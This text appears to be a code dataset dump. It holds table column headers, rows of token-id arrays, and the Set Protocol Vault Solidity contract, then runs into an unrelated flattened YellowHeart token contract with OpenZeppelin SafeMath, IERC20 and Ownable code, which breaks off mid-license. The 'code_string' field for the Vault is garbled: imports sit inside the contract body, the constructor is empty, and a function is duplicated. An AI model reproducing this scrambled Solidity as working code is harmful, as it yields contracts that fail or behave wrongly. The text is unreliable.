file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0xf6724DE38B1d91EBF50C1b621c253e6326F058c0/sources/ERC721ABigFoot.sol | currentMaxSupply = MaxSupplyPerWallet; | {
return price;
}
| 2,660,100 | [
1,
2972,
2747,
3088,
1283,
273,
4238,
3088,
1283,
2173,
16936,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
288,
203,
7734,
327,
6205,
31,
7010,
5411,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
Copyright 2018 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.4.24;
import { SafeMath } from "zeppelin-solidity/contracts/math/SafeMath.sol";
import { Authorizable } from "../lib/Authorizable.sol";
import { ERC20Wrapper } from "../lib/ERC20Wrapper.sol";
/**
* @title Vault
* @author Set Protocol
*
* The vault contract is responsible for holding all funds and keeping track of the
* fund state and which Sets own which funds.
*
*/
contract Vault is
Authorizable
{
// Use SafeMath library for all uint256 arithmetic
using SafeMath for uint256;
/* ============ State Variables ============ */
// Mapping of token address to map of owner or Set address to balance.
// Example of mapping below:
// +--------------+---------------------+--------+
// | TokenAddress | Set OR User Address | Amount |
// +--------------+---------------------+--------+
// | TokenA | User 0x123 | 500 |
// | | User 0xABC | 300 |
// | | Set 0x456 | 1000 |
// | TokenB | User 0xDEF | 100 |
// | | Set 0xSET | 700 |
// +--------------+---------------------+--------+
mapping (address => mapping (address => uint256)) public balances;
/* ============ Constructor ============ */
constructor()
Authorizable(2592000) // About 4 weeks
{}
/* ============ External Functions ============ */
/*
* Withdraws user's unassociated tokens to user account. Can only be
* called by authorized core contracts.
*
* @param _token The address of the ERC20 token
* @param _to The address to transfer token to
* @param _quantity The number of tokens to transfer
*/
function withdrawTo(
address _token,
address _to,
uint256 _quantity
)
external
onlyAuthorized
{
// Retrieve current balance of token for the vault
uint256 existingVaultBalance = ERC20Wrapper.balanceOf(
_token,
this
);
// Call specified ERC20 token contract to transfer tokens from Vault to user
ERC20Wrapper.transfer(
_token,
_to,
_quantity
);
// Verify transfer quantity is reflected in balance
uint256 newVaultBalance = ERC20Wrapper.balanceOf(
_token,
this
);
// Check to make sure current balances are as expected
require(newVaultBalance == existingVaultBalance.sub(_quantity));
}
/*
* Increment quantity owned of a token for a given address. Can
* only be called by authorized core contracts.
*
* @param _token The address of the ERC20 token
* @param _owner The address of the token owner
* @param _quantity The number of tokens to attribute to owner
*/
function incrementTokenOwner(
address _token,
address _owner,
uint256 _quantity
)
external
onlyAuthorized
{
// Increment balances state variable adding _quantity to user's token amount
balances[_token][_owner] = balances[_token][_owner].add(_quantity);
}
/*
* Decrement quantity owned of a token for a given address. Can only
* be called by authorized core contracts.
*
* @param _token The address of the ERC20 token
* @param _owner The address of the token owner
* @param _quantity The number of tokens to deattribute to owner
*/
function decrementTokenOwner(
address _token,
address _owner,
uint256 _quantity
)
external
onlyAuthorized
{
// Require that user has enough unassociated tokens to withdraw tokens or issue Set
require(balances[_token][_owner] >= _quantity);
// Decrement balances state variable subtracting _quantity to user's token amount
balances[_token][_owner] = balances[_token][_owner].sub(_quantity);
}
/**
* Transfers tokens associated with one account to another account in the vault
*
* @param _from Address token being transferred from
* @param _to Address token being transferred to
* @param _token Address of token being transferred
* @param _quantity Amount of tokens being transferred
*/
function transferBalance(
address _from,
address _to,
address _token,
uint256 _quantity
)
external
onlyAuthorized
{
transferBalanceInternal(_from, _to, _token, _quantity);
}
/**
* Transfers tokens associated with one account to another account in the vault
*
* @param _from Address tokens being transferred from
* @param _to Address tokens being transferred to
* @param _tokens Addresses of tokens being transferred
* @param _quantities Amounts of tokens being transferred
*/
function batchTransferBalance(
address _from,
address _to,
address[] _tokens,
uint256[] _quantities
)
external
onlyAuthorized
{
// Confirm and empty _tokens array is not passed
require(_tokens.length > 0);
// Confirm an empty _quantities array is not passed
require(_quantities.length > 0);
// Confirm there is one quantity for every token address
require(_tokens.length == _quantities.length);
for (uint256 i = 0; i < _tokens.length; i++) {
transferBalanceInternal(_from, _to, _tokens[i], _quantities[i]);
}
}
/*
* Get balance of particular contract for owner.
*
* @param _token The address of the ERC20 token
* @param _owner The address of the token owner
*/
function getOwnerBalance(
address _token,
address _owner
)
external
view
returns (uint256)
{
// Return owners token balance
return balances[_token][_owner];
}
/* ============ Internal Functions ============ */
function transferBalanceInternal(
address _from,
address _to,
address _token,
uint256 _quantity
)
internal
{
// Require that user has enough unassociated tokens to withdraw tokens or issue Set
require(balances[_token][_from] >= _quantity);
// Decrement balances state variable subtracting _quantity to user's token amount
balances[_token][_from] = balances[_token][_from].sub(_quantity);
// Increment balances state variable adding _quantity to user's token amount
balances[_token][_to] = balances[_token][_to].add(_quantity);
}
}
| Use SafeMath library for all uint256 arithmetic Mapping of token address to map of owner or Set address to balance. Example of mapping below: +--------------+---------------------+--------+ | TokenAddress | Set OR User Address | Amount | +--------------+---------------------+--------+ | TokenA | User 0x123 | 500 | | | User 0xABC | 300 | | | Set 0x456 | 1000 | | TokenB | User 0xDEF | 100 | | | Set 0xSET | 700 | +--------------+---------------------+--------+ | {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public balances;
constructor()
function withdrawTo(
address _token,
address _to,
uint256 _quantity
)
external
onlyAuthorized
Copyright 2018 Set Labs Inc.
import { SafeMath } from "zeppelin-solidity/contracts/math/SafeMath.sol";
import { Authorizable } from "../lib/Authorizable.sol";
import { ERC20Wrapper } from "../lib/ERC20Wrapper.sol";
{}
{
uint256 existingVaultBalance = ERC20Wrapper.balanceOf(
_token,
this
);
ERC20Wrapper.transfer(
_token,
_to,
_quantity
);
uint256 newVaultBalance = ERC20Wrapper.balanceOf(
_token,
this
);
require(newVaultBalance == existingVaultBalance.sub(_quantity));
}
function incrementTokenOwner(
address _token,
address _owner,
uint256 _quantity
)
external
onlyAuthorized
{
balances[_token][_owner] = balances[_token][_owner].add(_quantity);
}
function decrementTokenOwner(
address _token,
address _owner,
uint256 _quantity
)
external
onlyAuthorized
{
require(balances[_token][_owner] >= _quantity);
balances[_token][_owner] = balances[_token][_owner].sub(_quantity);
}
function transferBalance(
address _from,
address _to,
address _token,
uint256 _quantity
)
external
onlyAuthorized
{
transferBalanceInternal(_from, _to, _token, _quantity);
}
function batchTransferBalance(
address _from,
address _to,
address[] _tokens,
uint256[] _quantities
)
external
onlyAuthorized
{
require(_tokens.length > 0);
require(_quantities.length > 0);
require(_tokens.length == _quantities.length);
for (uint256 i = 0; i < _tokens.length; i++) {
transferBalanceInternal(_from, _to, _tokens[i], _quantities[i]);
}
}
function batchTransferBalance(
address _from,
address _to,
address[] _tokens,
uint256[] _quantities
)
external
onlyAuthorized
{
require(_tokens.length > 0);
require(_quantities.length > 0);
require(_tokens.length == _quantities.length);
for (uint256 i = 0; i < _tokens.length; i++) {
transferBalanceInternal(_from, _to, _tokens[i], _quantities[i]);
}
}
function getOwnerBalance(
address _token,
address _owner
)
external
view
returns (uint256)
{
return balances[_token][_owner];
}
function transferBalanceInternal(
address _from,
address _to,
address _token,
uint256 _quantity
)
internal
{
require(balances[_token][_from] >= _quantity);
balances[_token][_from] = balances[_token][_from].sub(_quantity);
balances[_token][_to] = balances[_token][_to].add(_quantity);
}
}
| 12,998,258 | [
1,
3727,
14060,
10477,
5313,
364,
777,
2254,
5034,
30828,
9408,
434,
1147,
1758,
358,
852,
434,
3410,
578,
1000,
1758,
358,
11013,
18,
5090,
434,
2874,
5712,
30,
397,
17908,
15,
1271,
13465,
15,
788,
15,
571,
3155,
1887,
571,
1000,
4869,
2177,
5267,
571,
16811,
571,
397,
17908,
15,
1271,
13465,
15,
788,
15,
571,
3155,
37,
4202,
571,
2177,
374,
92,
12936,
1850,
571,
565,
6604,
571,
571,
2868,
571,
2177,
374,
92,
26904,
1850,
571,
565,
11631,
571,
571,
2868,
571,
1000,
225,
374,
92,
24,
4313,
1850,
571,
282,
4336,
571,
571,
3155,
38,
4202,
571,
2177,
374,
92,
12904,
1850,
571,
565,
2130,
571,
571,
2868,
571,
1000,
225,
374,
92,
4043,
1850,
571,
565,
2371,
713,
571,
397,
17908,
15,
1271,
13465,
15,
788,
15,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
95,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
1071,
324,
26488,
31,
203,
203,
203,
565,
3885,
1435,
203,
203,
203,
565,
445,
598,
9446,
774,
12,
203,
3639,
1758,
389,
2316,
16,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
16172,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1338,
15341,
203,
565,
25417,
14863,
1000,
511,
5113,
15090,
18,
203,
203,
5666,
288,
14060,
10477,
289,
628,
315,
94,
881,
84,
292,
267,
17,
30205,
560,
19,
16351,
87,
19,
15949,
19,
9890,
10477,
18,
18281,
14432,
203,
5666,
288,
3123,
5331,
429,
289,
628,
315,
6216,
2941,
19,
3594,
6934,
18,
18281,
14432,
203,
5666,
288,
4232,
39,
3462,
3611,
289,
628,
315,
6216,
2941,
19,
654,
39,
3462,
3611,
18,
18281,
14432,
203,
203,
565,
2618,
203,
565,
288,
203,
3639,
2254,
5034,
2062,
12003,
13937,
273,
4232,
39,
3462,
3611,
18,
12296,
951,
12,
203,
5411,
389,
2316,
16,
203,
5411,
333,
203,
3639,
11272,
203,
203,
3639,
4232,
39,
3462,
3611,
18,
13866,
12,
203,
5411,
389,
2316,
16,
203,
5411,
389,
869,
16,
203,
5411,
389,
16172,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
394,
12003,
13937,
273,
4232,
39,
3462,
3611,
18,
12296,
951,
12,
203,
5411,
389,
2316,
16,
203,
5411,
333,
203,
3639,
11272,
203,
3639,
2583,
12,
2704,
12003,
13937,
422,
2062,
12003,
13937,
18,
1717,
24899,
16172,
10019,
203,
565,
289,
2
]
|
// Sources flattened with hardhat v2.8.2 https://hardhat.org
// File contracts/lib/LibAppStorage.sol
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2021 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity 0.8.9;
enum AuthorizationState {
Unused,
Used,
Canceled
}
struct AppStorage {
address owner;
address pauser;
bool paused;
address blacklister;
mapping(address => bool) blacklisted;
string name;
string symbol;
uint8 decimals;
string currency;
address masterMinter;
bool initialized;
bool initializing;
bool initializedV2;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
uint256 totalSupply;
mapping(address => bool) minters;
mapping(address => uint256) minterAllowed;
address rescuer;
bytes32 domainSeparator;
mapping(address => mapping(bytes32 => AuthorizationState)) authorizationStates;
mapping(address => uint256) nonces;
}
library LibAppStorage {
function diamondStorage() internal pure returns (AppStorage storage ds) {
assembly {
ds.slot := 0
}
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/lib/LibContext.sol
/**
*
*
* Copyright (c) YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibContext {
function _msgSender() internal view returns (address sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File contracts/lib/LibOwnable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibOwnable {
function _requireOnlyOwner() internal view {
require(
LibContext._msgSender() == LibAppStorage.diamondStorage().owner,
"Ownable: caller is not the owner"
);
}
}
// File contracts/common/Ownable.sol
/**
*
*
* Copyright (c) 2018 zOS Global Limited.
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @notice The Ownable contract has an owner address, and provides basic
* authorization control functions
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-labs/blob/3887ab77b8adafba4a26ace002f3a684c1a3388b/upgradeability_ownership/contracts/ownership/Ownable.sol
* Modifications:
* 1. Consolidate OwnableStorage into this contract (7/13/18)
* 2. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20)
* 3. Make public functions external (5/27/20)
*/
contract Ownable {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev The constructor sets the original owner of the contract to the sender account.
*/
constructor() {
setOwner(msg.sender);
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() external view returns (address) {
return LibAppStorage.diamondStorage().owner;
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
LibAppStorage.diamondStorage().owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
LibOwnable._requireOnlyOwner();
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(LibAppStorage.diamondStorage().owner, newOwner);
setOwner(newOwner);
}
}
// File contracts/lib/LibBlacklistable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
